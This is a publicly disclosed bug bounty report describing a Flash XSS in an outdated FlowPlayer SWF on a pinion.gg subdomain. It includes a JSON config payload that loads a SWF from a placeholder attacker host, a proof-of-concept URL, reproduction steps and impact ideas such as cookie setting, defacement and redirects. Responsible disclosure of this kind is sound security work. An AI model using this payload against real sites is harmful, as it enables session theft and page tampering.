Unikrn · Report #254269

Persistent XSS found on bin.pinion.gg due to outdated FlowPlayer SWF file with Remote File Inclusion vulnerability.

Validstatus

lowseverity

17upvotes

5 Oct 2017disclosed

Summary

Thanks to the Unikrn team for the fast response, fix, and the bounty!

I discovered the Flash XSS issue on the one of the pinion.gg subdomains. The XSS issue was in the outdated FlowPlayer SWF file (which suffered from some ExternalInterface.Call/clientside RFI-related issues), and was exploitable using next JS (we can call it test.js), placed on remote host, and then referenced in config URL param:

{
    'log' : {
        'level'  : 'info'
    },
    'clip': {
        'autoPlay': 'true',
        'baseUrl': 'http://stream.flowplayer.org/',
        'onMyConnectionEvent': 'function(clip, info) {alert(/onMyConnectionEvent/)};',
        'onStart': 'function() {alert(/onBegin/);}' 
    },
    'playlist': [ 
    ],
    'plugins': { 
        'controls': { 
            'url': 'http://yourhost.com/xss.swf' 
        }
    },
    'onLoad': 'function() {alert(/onLoad/);}',
    'connectionCallbacks': [ "onMyConnectionEvent" ]
}

where http://yourhost.com/xss.swf - it is specially crafted SWF file, which execute arbitrary JS through ExternalInterface.Call method. Using

http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf?config=http://[redacted.com]/test.js

it was possible to execute any arbitrary JS in the context of subdomain. I named it as persistent in the report title, because payload was in the stored form, but just 'flash xss' sounds more correctly. It could be turned to persistent, in case that config param actually was used somewhere.

References

How it was found

Description

Hi. Today i looked to some outscope subdomains *.pinion.gg for recon purposes. I discovered an interesting file on http://templ4d2.pinion.gg/motd2.manifest with next content:

CACHE MANIFEST
# 2014-07-07
CACHE:
http://bin.pinion.gg/bin/companions.min.js
http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf
http://vox-static.liverail.com/crossdomain.xml
http://cdn-static.liverail.com/crossdomain.xml
http://bs.serving-sys.com/crossdomain.xml
http://ad-apac.doubleclick.net/crossdomain.xml
http://ads.intergi.com/crossdomain.xml
http://u-ads.adap.tv/crossdomain.xml
http://imasdk.googleapis.com/js/sdkloader/ima3.js
http://www.googletagservices.com/tag/js/gpt.js
https://www.google-analytics.com/ga.js
http://partner.googleadservices.com/gpt/pubads_impl_90.js
NETWORK:
*

One string attracted my attention - http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf I submitted previously some vulnerabilities connected with this file to other programs, so easily determined that it is an outdated version of FlowPlayer (https://github.com/flowplayer/), vulnerable to XSS through remote file inclusion.

POC

http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf?config=http://████████/test.js Just visit this link. Player will load my remote .js file from the my host, and display few popups with document.cookie and document.domain payloads.

Impact

The vulnerable file is hosted on out-scope subdomain, so i thinked, how it can affect security of main domains.

Using bin.pinion.gg deface. Because attacker can execute any JS, he can deface the page by arbitrary content
Using Open Redirect through window.location js payload.
Using setting cookie cross-domain. In this case the attacker can set arbitrary cookies to the pinion.gg or cp-ng.pinion.gg.
If this file is used in some instance to display some content, ads, etc. - then the instance is vulnerable to XSS.

Reproduction steps

You just need to place the malicious file to the remote host, like in this example: http://████/test.js and append the url to the

http://bin.pinion.gg/bin/flowplayer.commercial-3.2.15.swf?config=

as parameter.

Suggested fix

I recommend you to update FlowPlayer to the latest version, or remove if not used.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original